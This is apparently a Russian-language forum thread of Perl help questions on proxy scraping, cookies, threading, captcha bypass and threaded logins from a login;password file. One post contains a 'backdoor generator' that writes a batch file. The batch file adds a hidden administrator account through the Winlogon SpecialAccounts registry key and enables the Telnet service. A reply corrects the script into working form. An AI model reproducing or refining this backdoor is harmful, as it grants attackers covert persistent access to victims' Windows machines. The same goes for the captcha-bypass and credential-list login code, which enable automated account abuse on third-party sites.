Помогите исправить ошибки в функции PHP: #!/usr/bin/perl use Socket; sub anti_num_capcha { $_[0] =~/Время на раздумье 1 минута\: (.+) \=/; my($ch1,$ch2) = split(/+/, $1); print $ch1; print $ch2; $host = 'iiii.eu5.org'; $doc = '/anc/index.php?text='.sh1; $conn = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $host, PeerPort => "http(80)"); || die "Can’t connect\n"; if (!$conn); $conn->autoflush(1); print $sock join( "GET / HTTP/1.0", "Host: 127.0.0.1", "User-Agent: Agent v 1.0", "", ""); my $res1; while (<$sock>) { $res1 = $res1.<$sock>; } close $sock; $doc = '/anc/index.php?text='.sh2; $conn = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $host, PeerPort => "http(80)"); || die "Can’t connect\n"; if (!$conn); $conn->autoflush(1); print $sock join( "GET / HTTP/1.0", "Host: 127.0.0.1", "User-Agent: Agent v 1.0", "", ""); my $res2; while (<$sock>) { $res1 = $res2.<$sock>; } close $sock; return $res1 + $res2; } print anti_num_capcha('Для подтверждения того что вы человек, напишите ответ на несложный пример. Время на раздумье 1 минута: сорок пять + шестнадцать ='); sleep(123);
Code: #!/usr/bin/perl use LWP::UserAgent; $ua=LWP::UserAgent->new; $ua->timeout(10); $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"); $url='http://www.digitalcybersoft.com/ProxyList/fresh-proxy-list.shtml?CONNECT'; $page=$ua->get($url); open(LOAD,">./proxy.txt"); while($page->content=~m/(\d+\.\d+\.\d+\.\d+)\:(\d+)/) { print LOAD $1.":".$2."\n"; print $1.":".$2."\n"; } мне нужно что бы скрипт грабил все прокси с опреденной страницы, а скрипт записывает в файл один прокси много раз
$page->content помести перед while, например, так: $page=$ua->get($url)->content; ........ while($page =~ .....
Научите меня куки устанавливать с ресурса правильно... И посылать их каждый раз при последующих запросах. Используя Libwww. Мб участки кода СПС
Code: use strict; use LWP::UserAgent; use HTTP::Cookies; my $cookie_jar = HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1); my $ua = LWP::UserAgent->new; $ua->cookie_jar ($cookie_jar); либо Code: $ua->cookie_jar (HTTP::Cookies->new ('file' => 'cookie.txt', 'autosave' => 1));
как мне сделать? переменная = 0; Потом запускаю функцию в несколько потоков и в функции к переменной прибавляем число Переменная должна увеличиваться тоесть какбе быть глобально чтобы было понятно надо получить не 22222 а 2345678 PHP: use Threads; use Threads::shared; my $a = 1; my $threads = 10; for(1..$threads) { $thread[$_] = threads->create(\&b);} for(1..$threads) { $thread[$_]->join; } sub b { $a = $a + 1; print $a."\n"; } sleep 123;
не как не врублюсь в многопоточность вот я запустил скрипт который сверху 10 потоков прошло и скрипт вырубился можно показать на скрипте сверху как брать логины из txt файла login;password и подключаться к например к сайту как бы сделать авторизацию
Code: use warnings; use LWP::UserAgent; use threads; use threads::shared; my $threads = 2; my $file = 'test.txt'; open(F, "<$file") || die $!; chomp(my @text : shared = <F>); close F; my @trl = (); my $ua = new LWP::UserAgent; $trl[$_] = threads->create(\&main) for 0..$threads-1; $_->join for @trl; sub main { while(@text) { my $line = shift @text; my $code = $ua->get('http://rambler.ru/'.$line)->code; print "$line -- $code\n"; } }
Kaimi, наверно, корректнее использовать замки при шифте расшаренного массива? Code: my $line; { lock text; $line = shift @text }
Люди подскажыте почему в создаваемом файле там где не надо строки переносятся ? о_О Code: #!/usr/bin/perl ############################################################### #### #### #### Здароваемся :-D #### #### #### ############################################################### system ("color 02"); print " ***************************************************\n"; print " ***************************************************\n"; print " ***************************************************\n"; print " ******* ********\n"; print " ******* SH Bat begdor generator ********\n"; print " ******* ********\n"; print " ***************************************************\n"; print " ***************************************************\n"; print " ***************************************************\n"; print " ***************************************************\n"; print " \n"; ############################################################### #### #### #### Расспраэваем у юзера данные о бегдоре #### #### #### ############################################################### print " ***************************************************\n"; print " ********** vvedite login uch zapisi :"; $login = <>; #Спрашеваем у юзера пароль от учотки print " ***************************************************\n"; print " ********** vvedete parol' ot uch zapisi : "; $pass = <>; #Спрашеваем у юзера пасс от учотки print " ***************************************************\n"; ############################################################### ############################################################### #### #### #### создаем переменные которые надо вопхнуть в файл #### #### #### ############################################################### $a = "@echo off"; $q = "chcp 1251"; $w = "net user $login $pass /add"; $e = "net localgroup Администраторы $login /add"; $r = "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v ваш_логин /t REG_DWORD /d 0 /f"; $s = "sc config tlntsvr start= auto"; $ts = "sc start tlntsvr"; ################################################ # созаём файл и нибиваем в него переменные # ################################################ open(OUT, '>> begdor.bat');############ print OUT $a."\n";##################### print OUT $q."\n";##################### print OUT $w."\n";##################### print OUT $e."\n";##################### print OUT $r."\n";##################### print OUT $s."\n";##################### print OUT $ts."\n";#################### close(OUT);############################ ####################################### <>
Потому что данные вводимые с клавиатуры надо обрабатывать функцией chomp. И скажите хакеру который это писал, что бы прочитал что нибудь про экранирование. perl script.pl login passwd Code: #!/usr/bin/perl open FILE, '> output.bat'; print FILE "\@echo off\n", "chcp 1251\n", "net user $ARGV[0] $ARGV[1] /add\n", "reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList /v ваш_логин /t REG_DWORD /d 0 /f\n", "sc config tlntsvr start= auto\n", "sc start tlntsvr"; close FILE;
Господа, такой вопрос: Имеется расшаренная переменная: my $n : shared = 0; в скрипте в несколько потоков выполняется функция, (допустим такая): Code: sub arbyte { while($n <= 1000) { $n++; print $n."\n"; } } Проблема в том, что периодически несколько потоков, обрабатывают одно и то же значение $n, что очень мешает..( Как этого избежать, не теряя скорость выполнения..?!